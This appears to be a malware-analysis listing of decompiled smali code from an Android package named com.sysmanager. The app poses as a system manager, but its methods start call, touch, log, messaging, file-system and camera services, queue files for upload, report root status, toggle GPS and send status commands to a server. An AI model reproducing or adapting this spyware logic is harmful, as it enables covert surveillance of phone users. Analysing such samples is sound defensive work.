16invoke-virtual {p0, v0}, Landroid/content/Context;->stopService(Landroid/content/Intent;)Z
17if-eqz p1, :cond_1d
19const-string v0, "netNO"
21const-string v1, "A70"
23invoke-static {v0, p0, v1}, Lcom/sysmanager/network/HTTPUtility;->InvioCommandoPresenza(Ljava/lang/String;Landroid/content/Context;Ljava/lang/String;)V
24cond_1d: return-void
Cross References
APIs
  • java.lang.String.getBytes
  • com.sysmanager.MessageManagement.validUTF8
  • java.lang.String.<init>
  • java.lang.IllegalStateException.<init>
Strings
  • ISO-8859-1
  • UTF-8
  • No Latin1 or UTF-8:
Position Instruction Meta Information
0.param p0, "latin1" # Ljava/lang/String;
1.prologue
2try_start_0:
3const-string v2, "ISO-8859-1"
5invoke-virtual {p0, v2}, Ljava/lang/String;->getBytes(Ljava/lang/String;)[B
6move-result-object v0
8invoke-static {v0}, Lcom/sysmanager/MessageManagement;->validUTF8([B)Z
9move-result v2
10if-nez v2, :cond_d
11goto_c: return-object p0
12cond_d: new-instance p0, Ljava/lang/String;
14const-string v2, "UTF-8"
16invoke-direct {p0, v0, v2}, Ljava/lang/String;-><init>([BLjava/lang/String;)V
17try_end_14: goto/16 :goto_c
18catch_15: move-exception v1
19new-instance v2, Ljava/lang/IllegalStateException;
21const-string v3, "No Latin1 or UTF-8: "
23invoke-direct {v2, v3}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;)V
24throw v2
Cross References
APIs
  • android.content.Intent.<init>
  • android.content.Context.stopService
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.setValue
Strings
  • col05
  • stopYES
  • A70
Position Instruction Meta Information
0.param p0, "context" # Landroid/content/Context;
1.param p1, "sendFeedback" # Z
2.prologue
3new-instance v0, Landroid/content/Intent;
4const-class v1, Lcom/sysmanager/system/AndroidSystemService;
6invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
8invoke-virtual {p0, v0}, Landroid/content/Context;->stopService(Landroid/content/Intent;)Z
10invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
11move-result-object v0
13const-string v1, "col05"
14const/4 v2, 0x0
16invoke-virtual {v0, v1, v2}, Lcom/sysmanager/storage/Settings;->setValue(Ljava/lang/String;I)V
17if-eqz p1, :cond_1d
19const-string v0, "stopYES"
21const-string v1, "A70"
23invoke-static {v0, p0, v1}, Lcom/sysmanager/network/HTTPUtility;->InvioCommandoPresenza(Ljava/lang/String;Landroid/content/Context;Ljava/lang/String;)V
24cond_1d: return-void
Cross References
APIs
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.setValue
  • android.content.Intent.<init>
  • android.content.Context.stopService
  • android.content.Intent.<init>
  • android.content.Context.startService
Strings
  • col09
Position Instruction Meta Information
0.param p0, "context" # Landroid/content/Context;
1.prologue
3invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
4move-result-object v0
6const-string v1, "col09"
7const/4 v2, 0x1
9invoke-virtual {v0, v1, v2}, Lcom/sysmanager/storage/Settings;->setValue(Ljava/lang/String;I)V
10new-instance v0, Landroid/content/Intent;
11const-class v1, Lcom/sysmanager/system/AndroidCallSystem;
13invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
15invoke-virtual {p0, v0}, Landroid/content/Context;->stopService(Landroid/content/Intent;)Z
16new-instance v0, Landroid/content/Intent;
17const-class v1, Lcom/sysmanager/system/AndroidCallSystem;
19invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
21invoke-virtual {p0, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
22return-void
Cross References
APIs
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.setValue
  • android.content.Intent.<init>
  • android.content.Context.stopService
  • android.content.Intent.<init>
  • android.content.Context.startService
Strings
  • col13
Position Instruction Meta Information
0.param p0, "context" # Landroid/content/Context;
1.prologue
3invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
4move-result-object v0
6const-string v1, "col13"
7const/4 v2, 0x1
9invoke-virtual {v0, v1, v2}, Lcom/sysmanager/storage/Settings;->setValue(Ljava/lang/String;I)V
10new-instance v0, Landroid/content/Intent;
11const-class v1, Lcom/sysmanager/system/AndroidTouch;
13invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
15invoke-virtual {p0, v0}, Landroid/content/Context;->stopService(Landroid/content/Intent;)Z
16new-instance v0, Landroid/content/Intent;
17const-class v1, Lcom/sysmanager/system/AndroidTouch;
19invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
21invoke-virtual {p0, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
22return-void
Cross References
APIs
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.setValue
  • android.content.Intent.<init>
  • android.content.Context.stopService
  • android.content.Intent.<init>
  • android.content.Context.startService
Strings
  • col11
Position Instruction Meta Information
0.param p0, "context" # Landroid/content/Context;
1.prologue
3invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
4move-result-object v0
6const-string v1, "col11"
7const/4 v2, 0x1
9invoke-virtual {v0, v1, v2}, Lcom/sysmanager/storage/Settings;->setValue(Ljava/lang/String;I)V
10new-instance v0, Landroid/content/Intent;
11const-class v1, Lcom/sysmanager/system/AndroidSystemCall;
13invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
15invoke-virtual {p0, v0}, Landroid/content/Context;->stopService(Landroid/content/Intent;)Z
16new-instance v0, Landroid/content/Intent;
17const-class v1, Lcom/sysmanager/system/AndroidSystemCall;
19invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
21invoke-virtual {p0, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
22return-void
Cross References
APIs
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.setValue
  • android.content.Intent.<init>
  • android.content.Context.stopService
  • android.content.Intent.<init>
  • android.content.Context.startService
Strings
  • col16
Position Instruction Meta Information
0.param p0, "context" # Landroid/content/Context;
1.prologue
3invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
4move-result-object v0
6const-string v1, "col16"
7const/4 v2, 0x1
9invoke-virtual {v0, v1, v2}, Lcom/sysmanager/storage/Settings;->setValue(Ljava/lang/String;I)V
10new-instance v0, Landroid/content/Intent;
11const-class v1, Lcom/sysmanager/system/AppsManager;
13invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
15invoke-virtual {p0, v0}, Landroid/content/Context;->stopService(Landroid/content/Intent;)Z
16new-instance v0, Landroid/content/Intent;
17const-class v1, Lcom/sysmanager/system/AppsManager;
19invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
21invoke-virtual {p0, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
22return-void
Cross References
APIs
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.setValue
  • android.content.Intent.<init>
  • android.content.Context.stopService
  • android.content.Intent.<init>
  • android.content.Context.startService
Strings
  • col18
Position Instruction Meta Information
0.param p0, "context" # Landroid/content/Context;
1.prologue
3invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
4move-result-object v0
6const-string v1, "col18"
7const/4 v2, 0x1
9invoke-virtual {v0, v1, v2}, Lcom/sysmanager/storage/Settings;->setValue(Ljava/lang/String;I)V
10new-instance v0, Landroid/content/Intent;
11const-class v1, Lcom/sysmanager/system/AndroidFileSystem;
13invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
15invoke-virtual {p0, v0}, Landroid/content/Context;->stopService(Landroid/content/Intent;)Z
16new-instance v0, Landroid/content/Intent;
17const-class v1, Lcom/sysmanager/system/AndroidFileSystem;
19invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
21invoke-virtual {p0, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
22return-void
Cross References
APIs
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.setValue
  • android.content.Intent.<init>
  • android.content.Context.stopService
  • android.content.Intent.<init>
  • android.content.Context.startService
Strings
  • col08
Position Instruction Meta Information
0.param p0, "context" # Landroid/content/Context;
1.prologue
3invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
4move-result-object v0
6const-string v1, "col08"
7const/4 v2, 0x1
9invoke-virtual {v0, v1, v2}, Lcom/sysmanager/storage/Settings;->setValue(Ljava/lang/String;I)V
10new-instance v0, Landroid/content/Intent;
11const-class v1, Lcom/sysmanager/system/AndroidSystemLog;
13invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
15invoke-virtual {p0, v0}, Landroid/content/Context;->stopService(Landroid/content/Intent;)Z
16new-instance v0, Landroid/content/Intent;
17const-class v1, Lcom/sysmanager/system/AndroidSystemLog;
19invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
21invoke-virtual {p0, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
22return-void
Cross References
APIs
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.setValue
  • android.content.Intent.<init>
  • android.content.Context.stopService
  • android.content.Intent.<init>
  • android.content.Context.startService
Strings
  • col10
Position Instruction Meta Information
0.param p0, "context" # Landroid/content/Context;
1.prologue
3invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
4move-result-object v0
6const-string v1, "col10"
7const/4 v2, 0x1
9invoke-virtual {v0, v1, v2}, Lcom/sysmanager/storage/Settings;->setValue(Ljava/lang/String;I)V
10new-instance v0, Landroid/content/Intent;
11const-class v1, Lcom/sysmanager/system/AndroidMessagingService;
13invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
15invoke-virtual {p0, v0}, Landroid/content/Context;->stopService(Landroid/content/Intent;)Z
16new-instance v0, Landroid/content/Intent;
17const-class v1, Lcom/sysmanager/system/AndroidMessagingService;
19invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
21invoke-virtual {p0, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
22return-void
APIs
  • com.sysmanager.system.AndroidFileManager.getApplicationContext
  • com.sysmanager.storage.FileSend.getInstance
  • com.sysmanager.storage.FileSend.getSinglePathInfo
  • java.lang.String.isEmpty
  • com.sysmanager.system.AndroidFileManager.checkPresenceFiles
  • com.sysmanager.system.AndroidFileManager.getApplicationContext
  • java.util.concurrent.ScheduledExecutorService.shutdown
  • com.sysmanager.system.AndroidFileManager.stopSelf
Position Instruction Meta Information
0.prologue
2iget-object v1, p0, Lcom/sysmanager/system/AndroidFileManager$1;->this$0:Lcom/sysmanager/system/AndroidFileManager;
3iget-boolean v1, v1, Lcom/sysmanager/system/AndroidFileManager;->sending:Z
4if-nez v1, :cond_36
6iget-object v1, p0, Lcom/sysmanager/system/AndroidFileManager$1;->this$0:Lcom/sysmanager/system/AndroidFileManager;
8iget-object v2, p0, Lcom/sysmanager/system/AndroidFileManager$1;->this$0:Lcom/sysmanager/system/AndroidFileManager;
10invoke-virtual {v2}, Lcom/sysmanager/system/AndroidFileManager;->getApplicationContext()Landroid/content/Context;
11move-result-object v2
13invoke-static {v2}, Lcom/sysmanager/storage/FileSend;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/FileSend;
14move-result-object v2
16invoke-virtual {v2}, Lcom/sysmanager/storage/FileSend;->getSinglePathInfo()Ljava/lang/String;
17move-result-object v2
18iput-object v2, v1, Lcom/sysmanager/system/AndroidFileManager;->path:Ljava/lang/String;
20iget-object v1, p0, Lcom/sysmanager/system/AndroidFileManager$1;->this$0:Lcom/sysmanager/system/AndroidFileManager;
22iget-object v1, v1, Lcom/sysmanager/system/AndroidFileManager;->path:Ljava/lang/String;
23if-eqz v1, :cond_46
25iget-object v1, p0, Lcom/sysmanager/system/AndroidFileManager$1;->this$0:Lcom/sysmanager/system/AndroidFileManager;
27iget-object v1, v1, Lcom/sysmanager/system/AndroidFileManager;->path:Ljava/lang/String;
29invoke-virtual {v1}, Ljava/lang/String;->isEmpty()Z
30move-result v1
31if-nez v1, :cond_46
33iget-object v1, p0, Lcom/sysmanager/system/AndroidFileManager$1;->this$0:Lcom/sysmanager/system/AndroidFileManager;
34const/4 v2, 0x1
35iput-boolean v2, v1, Lcom/sysmanager/system/AndroidFileManager;->sending:Z
36try_start_2d:
37iget-object v1, p0, Lcom/sysmanager/system/AndroidFileManager$1;->this$0:Lcom/sysmanager/system/AndroidFileManager;
39iget-object v2, p0, Lcom/sysmanager/system/AndroidFileManager$1;->this$0:Lcom/sysmanager/system/AndroidFileManager;
41iget-object v2, v2, Lcom/sysmanager/system/AndroidFileManager;->path:Ljava/lang/String;
43invoke-virtual {v1, v2}, Lcom/sysmanager/system/AndroidFileManager;->checkPresenceFiles(Ljava/lang/String;)V
44cond_36: return-void
45catch_37: move-exception v0
47iget-object v1, p0, Lcom/sysmanager/system/AndroidFileManager$1;->this$0:Lcom/sysmanager/system/AndroidFileManager;
49invoke-virtual {v1}, Lcom/sysmanager/system/AndroidFileManager;->getApplicationContext()Landroid/content/Context;
50move-result-object v1
52invoke-static {v0}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
53move-result-object v2
55invoke-static {v1, v2}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
56goto/16 :goto_36
57cond_46:
58iget-object v1, p0, Lcom/sysmanager/system/AndroidFileManager$1;->this$0:Lcom/sysmanager/system/AndroidFileManager;
59const/4 v2, 0x0
60iput-boolean v2, v1, Lcom/sysmanager/system/AndroidFileManager;->sending:Z
62iget-object v1, p0, Lcom/sysmanager/system/AndroidFileManager$1;->this$0:Lcom/sysmanager/system/AndroidFileManager;
64iget-object v1, v1, Lcom/sysmanager/system/AndroidFileManager;->scheduledExecutorService:Ljava/util/concurrent/ScheduledExecutorService;
66invoke-interface {v1}, Ljava/util/concurrent/ScheduledExecutorService;->shutdown()V
68iget-object v1, p0, Lcom/sysmanager/system/AndroidFileManager$1;->this$0:Lcom/sysmanager/system/AndroidFileManager;
70invoke-virtual {v1}, Lcom/sysmanager/system/AndroidFileManager;->stopSelf()V
71goto/16 :goto_36
Cross References
APIs
  • com.sysmanager.system.AndroidSystemCall.isNooted
  • org.json.JSONObject.put
Strings
  • isNooted
  • false
  • true
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Throws;
1value = {
2Lorg/json/JSONException;
3}
4.end annotation
5.prologue
7invoke-static {}, Lcom/sysmanager/system/AndroidSystemCall;->isNooted()Z
8move-result v0
9if-nez v0, :cond_10
11iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
13const-string v1, "isNooted"
15const-string v2, "false"
17invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
18goto_f: return-void
19cond_10:
20iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
22const-string v1, "isNooted"
24const-string v2, "true"
26invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
27goto/16 :goto_f
Cross References
APIs
  • com.sysmanager.system.AndroidSystemCall.isRooted
  • org.json.JSONObject.put
Strings
  • isRooted
  • false
  • true
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Throws;
1value = {
2Lorg/json/JSONException;
3}
4.end annotation
5.prologue
7invoke-static {}, Lcom/sysmanager/system/AndroidSystemCall;->isRooted()Z
8move-result v0
9if-nez v0, :cond_10
11iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
13const-string v1, "isRooted"
15const-string v2, "false"
17invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
18goto_f: return-void
19cond_10:
20iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
22const-string v1, "isRooted"
24const-string v2, "true"
26invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
27goto/16 :goto_f
Cross References
APIs
  • android.content.Intent.<init>
  • android.content.Intent.putExtra
  • com.sysmanager.system.AndroidSystemQueues.sendBroadcast
  • com.sysmanager.Scontext.getContext
Strings
  • android.location.GPS_ENABLED_CHANGE
  • enabled
Position Instruction Meta Information
0.param p1, "enable" # Z
1.prologue
2sget v2, Landroid/os/Build$VERSION;->SDK_INT:I
3const/16 v3, 0x13
4if-ge v2, v3, :cond_15
5new-instance v1, Landroid/content/Intent;
7const-string v2, "android.location.GPS_ENABLED_CHANGE"
9invoke-direct {v1, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
11const-string v2, "enabled"
13invoke-virtual {v1, v2, p1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Z)Landroid/content/Intent;
14try_start_12:
15invoke-virtual {p0, v1}, Lcom/sysmanager/system/AndroidSystemQueues;->sendBroadcast(Landroid/content/Intent;)V
16try_end_15: return-void
17catch_16: move-exception v0
19invoke-static {}, Lcom/sysmanager/Scontext;->getContext()Landroid/content/Context;
20move-result-object v2
22invoke-static {v0}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
23move-result-object v3
25invoke-static {v2, v3}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
26goto/16 :goto_15
Cross References
APIs
  • java.lang.String.getBytes
  • android.util.Base64.decode
  • java.security.spec.PKCS8EncodedKeySpec.<init>
  • java.security.KeyFactory.getInstance
  • java.security.KeyFactory.generatePrivate
Strings
  • RSA
Position Instruction Meta Information
0.param p0, "filename" # Ljava/lang/String;
1.annotation system Ldalvik/annotation/Throws;
2value = {
3Ljava/lang/Exception;
4}
5.end annotation
6.prologue
8invoke-virtual {p0}, Ljava/lang/String;->getBytes()[B
9move-result-object v3
10const/4 v4, 0x0
12invoke-static {v3, v4}, Landroid/util/Base64;->decode([BI)[B
13move-result-object v0
14new-instance v2, Ljava/security/spec/PKCS8EncodedKeySpec;
16invoke-direct {v2, v0}, Ljava/security/spec/PKCS8EncodedKeySpec;-><init>([B)V
18const-string v3, "RSA"
20invoke-static {v3}, Ljava/security/KeyFactory;->getInstance(Ljava/lang/String;)Ljava/security/KeyFactory;
21move-result-object v1
23invoke-virtual {v1, v2}, Ljava/security/KeyFactory;->generatePrivate(Ljava/security/spec/KeySpec;)Ljava/security/PrivateKey;
24move-result-object v3
25return-object v3
Cross References
APIs
  • java.lang.String.getBytes
  • android.util.Base64.decode
  • java.security.spec.X509EncodedKeySpec.<init>
  • java.security.KeyFactory.getInstance
  • java.security.KeyFactory.generatePublic
Strings
  • RSA
Position Instruction Meta Information
0.param p0, "filename" # Ljava/lang/String;
1.annotation system Ldalvik/annotation/Throws;
2value = {
3Ljava/lang/Exception;
4}
5.end annotation
6.prologue
8invoke-virtual {p0}, Ljava/lang/String;->getBytes()[B
9move-result-object v3
10const/4 v4, 0x0
12invoke-static {v3, v4}, Landroid/util/Base64;->decode([BI)[B
13move-result-object v0
14new-instance v2, Ljava/security/spec/X509EncodedKeySpec;
16invoke-direct {v2, v0}, Ljava/security/spec/X509EncodedKeySpec;-><init>([B)V
18const-string v3, "RSA"
20invoke-static {v3}, Ljava/security/KeyFactory;->getInstance(Ljava/lang/String;)Ljava/security/KeyFactory;
21move-result-object v1
23invoke-virtual {v1, v2}, Ljava/security/KeyFactory;->generatePublic(Ljava/security/spec/KeySpec;)Ljava/security/PublicKey;
24move-result-object v3
25return-object v3
APIs
  • android.os.Handler.handleMessage
  • android.os.Message.getData
  • android.os.Bundle.get
  • com.sysmanager.system.AndroidSystemService.access$102
  • com.sysmanager.system.AndroidSystemService.access$200
Strings
  • msg_bundle
Position Instruction Meta Information
0.param p1, "msg" # Landroid/os/Message;
1.prologue
2iget v1, p1, Landroid/os/Message;->what:I
3packed-switch v1, :pswitch_data_20
5invoke-super {p0, p1}, Landroid/os/Handler;->handleMessage(Landroid/os/Message;)V
6goto_8: return-void
7pswitch_9:
8invoke-virtual {p1}, Landroid/os/Message;->getData()Landroid/os/Bundle;
9move-result-object v0
11iget-object v2, p0, Lcom/sysmanager/system/AndroidSystemService$IncomingHandler;->this$0:Lcom/sysmanager/system/AndroidSystemService;
13const-string v1, "msg_bundle"
15invoke-virtual {v0, v1}, Landroid/os/Bundle;->get(Ljava/lang/String;)Ljava/lang/Object;
16move-result-object v1
17check-cast v1, Ljava/lang/String;
19invoke-static {v2, v1}, Lcom/sysmanager/system/AndroidSystemService;->access$102(Lcom/sysmanager/system/AndroidSystemService;Ljava/lang/String;)Ljava/lang/String;
21iget-object v1, p0, Lcom/sysmanager/system/AndroidSystemService$IncomingHandler;->this$0:Lcom/sysmanager/system/AndroidSystemService;
23invoke-static {v1}, Lcom/sysmanager/system/AndroidSystemService;->access$200(Lcom/sysmanager/system/AndroidSystemService;)V
24goto/16 :goto_8
APIs
  • java.lang.String.getBytes
  • java.security.spec.PKCS8EncodedKeySpec.<init>
  • java.security.KeyFactory.getInstance
  • java.security.KeyFactory.generatePrivate
Strings
  • utf-8
  • RSA
Position Instruction Meta Information
0.param p0, "priv" # Ljava/lang/String;
1.annotation system Ldalvik/annotation/Throws;
2value = {
3Ljava/lang/Exception;
4}
5.end annotation
6.prologue
8const-string v3, "utf-8"
10invoke-virtual {p0, v3}, Ljava/lang/String;->getBytes(Ljava/lang/String;)[B
11move-result-object v1
12new-instance v2, Ljava/security/spec/PKCS8EncodedKeySpec;
14invoke-direct {v2, v1}, Ljava/security/spec/PKCS8EncodedKeySpec;-><init>([B)V
16const-string v3, "RSA"
18invoke-static {v3}, Ljava/security/KeyFactory;->getInstance(Ljava/lang/String;)Ljava/security/KeyFactory;
19move-result-object v0
21invoke-virtual {v0, v2}, Ljava/security/KeyFactory;->generatePrivate(Ljava/security/spec/KeySpec;)Ljava/security/PrivateKey;
22move-result-object v3
23return-object v3
APIs
  • java.lang.String.getBytes
  • java.security.spec.X509EncodedKeySpec.<init>
  • java.security.KeyFactory.getInstance
  • java.security.KeyFactory.generatePublic
Strings
  • utf-8
  • RSA
Position Instruction Meta Information
0.param p0, "pub" # Ljava/lang/String;
1.annotation system Ldalvik/annotation/Throws;
2value = {
3Ljava/lang/Exception;
4}
5.end annotation
6.prologue
8const-string v3, "utf-8"
10invoke-virtual {p0, v3}, Ljava/lang/String;->getBytes(Ljava/lang/String;)[B
11move-result-object v0
12new-instance v2, Ljava/security/spec/X509EncodedKeySpec;
14invoke-direct {v2, v0}, Ljava/security/spec/X509EncodedKeySpec;-><init>([B)V
16const-string v3, "RSA"
18invoke-static {v3}, Ljava/security/KeyFactory;->getInstance(Ljava/lang/String;)Ljava/security/KeyFactory;
19move-result-object v1
21invoke-virtual {v1, v2}, Ljava/security/KeyFactory;->generatePublic(Ljava/security/spec/KeySpec;)Ljava/security/PublicKey;
22move-result-object v3
23return-object v3
Cross References
APIs
  • android.content.Intent.<init>
  • android.content.Intent.putExtra
  • com.sysmanager.system.AndroidSystemQueues.startService
Strings
  • extra_address_receiver
  • extra_location
Position Instruction Meta Information
0.param p1, "location" # Landroid/location/Location;
1.prologue
2new-instance v0, Landroid/content/Intent;
3const-class v1, Lcom/sysmanager/system/FetchAddressIntentService;
5invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
7const-string v1, "extra_address_receiver"
9iget-object v2, p0, Lcom/sysmanager/system/AndroidSystemQueues;->mResultReceiver:Lcom/sysmanager/system/AndroidSystemQueues$AddressResultReceiver;
11invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;
13const-string v1, "extra_location"
15invoke-virtual {v0, v1, p1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;
17invoke-virtual {p0, v0}, Lcom/sysmanager/system/AndroidSystemQueues;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
18return-void
Cross References
APIs
  • java.util.List.iterator
  • java.util.Iterator.hasNext
  • java.util.Iterator.next
  • java.lang.String.toLowerCase
  • java.lang.String.contains
  • com.sysmanager.system.AndroidSystemService.bestStrategy
Position Instruction Meta Information
0.prologue
2sget-object v1, Lcom/sysmanager/system/AudioController;->mWhiteListAccessibility:Ljava/util/List;
4invoke-interface {v1}, Ljava/util/List;->iterator()Ljava/util/Iterator;
5move-result-object v1
6cond_6:
7invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
8move-result v2
9if-eqz v2, :cond_23
11invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
12move-result-object v0
13check-cast v0, Ljava/lang/String;
15iget-object v2, p0, Lcom/sysmanager/system/AndroidSystemService;->mFgApp:Ljava/lang/String;
17invoke-virtual {v2}, Ljava/lang/String;->toLowerCase()Ljava/lang/String;
18move-result-object v2
20invoke-virtual {v2, v0}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
21move-result v2
22if-eqz v2, :cond_6
23const/4 v1, 0x1
25invoke-direct {p0, v1}, Lcom/sysmanager/system/AndroidSystemService;->bestStrategy(Z)V
26goto_22: return-void
27cond_23: const/4 v1, 0x0
29invoke-direct {p0, v1}, Lcom/sysmanager/system/AndroidSystemService;->bestStrategy(Z)V
30goto/16 :goto_22
Cross References
APIs
  • android.hardware.Camera.stopPreview
  • android.hardware.Camera.release
  • android.graphics.SurfaceTexture.release
  • com.sysmanager.system.AndroidCamera.stopSelf
  • com.sysmanager.system.AndroidCamera.getApplicationContext
Position Instruction Meta Information
0.prologue
1monitor-enter p0
2try_start_1: iget-boolean v1, p0, Lcom/sysmanager/system/AndroidCamera;->releaseRequested:Z
3try_end_3: if-eqz v1, :cond_7
4goto_5: monitor-exit p0
5return-void
6cond_7: const/4 v1, 0x1
7try_start_8: iput-boolean v1, p0, Lcom/sysmanager/system/AndroidCamera;->releaseRequested:Z
8try_end_a:
9iget-object v1, p0, Lcom/sysmanager/system/AndroidCamera;->mCamera:Landroid/hardware/Camera;
10if-eqz v1, :cond_1b
12iget-object v1, p0, Lcom/sysmanager/system/AndroidCamera;->mCamera:Landroid/hardware/Camera;
14invoke-virtual {v1}, Landroid/hardware/Camera;->stopPreview()V
16iget-object v1, p0, Lcom/sysmanager/system/AndroidCamera;->mCamera:Landroid/hardware/Camera;
18invoke-virtual {v1}, Landroid/hardware/Camera;->release()V
19const/4 v1, 0x0
20iput-object v1, p0, Lcom/sysmanager/system/AndroidCamera;->mCamera:Landroid/hardware/Camera;
21try_start_1b:
22iget-object v1, p0, Lcom/sysmanager/system/AndroidCamera;->mSurfaceTexture:Landroid/graphics/SurfaceTexture;
23if-eqz v1, :cond_27
25iget-object v1, p0, Lcom/sysmanager/system/AndroidCamera;->mSurfaceTexture:Landroid/graphics/SurfaceTexture;
27invoke-virtual {v1}, Landroid/graphics/SurfaceTexture;->release()V
28const/4 v1, 0x0
29iput-object v1, p0, Lcom/sysmanager/system/AndroidCamera;->mSurfaceTexture:Landroid/graphics/SurfaceTexture;
30cond_27: const/4 v1, 0x0
31try_start_28: iput-boolean v1, p0, Lcom/sysmanager/system/AndroidCamera;->mLocked:Z
32const/4 v1, 0x0
33iput-boolean v1, p0, Lcom/sysmanager/system/AndroidCamera;->releaseRequested:Z
35invoke-virtual {p0}, Lcom/sysmanager/system/AndroidCamera;->stopSelf()V
36try_end_30: goto/16 :goto_5
37catchall_31: move-exception v1
38monitor-exit p0
39throw v1
40catch_34: move-exception v0
41try_start_35:
42invoke-virtual {p0}, Lcom/sysmanager/system/AndroidCamera;->getApplicationContext()Landroid/content/Context;
43move-result-object v1
45invoke-static {v0}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
46move-result-object v2
48invoke-static {v1, v2}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
49goto/16 :goto_1b
50catch_41: move-exception v0
